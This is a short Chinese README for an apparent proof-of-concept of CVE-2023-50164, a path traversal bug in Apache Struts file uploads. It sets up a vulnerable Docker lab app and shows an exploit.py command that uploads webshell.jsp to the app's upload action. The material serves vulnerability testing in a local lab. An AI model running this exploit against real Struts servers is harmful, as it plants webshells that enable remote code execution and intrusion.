本仓库是 CVE-2023-50164 漏洞的概念验证(PoC)。
CVE-2023-50164 是 Apache Struts Web 应用程序中出现的文件路径遍历漏洞。
攻击者可利用该漏洞将恶意文件(WebShell 或其他恶意软件)上传到任意位置,并发动远程代码执行等二次攻击。
存在漏洞的 Web 应用程序 StrutsUploadApp 使用 Docker 进行容器化。请按照以下步骤构建并部署该环境。
使用提供的 Dockerfile 构建 StrutsUploadApp 的 Docker 镜像。
docker build -t struts-upload-app .
docker run -d -p 8080:8080 --name StrutsUploadApp struts-upload-app
运行漏洞利用脚本以触发该漏洞。
python exploit.py --url=http://localhost:8080/StrutsUploadApp/upload.action \
--file=webshell.jsp \
--file-parameter=upload \
--attempts=5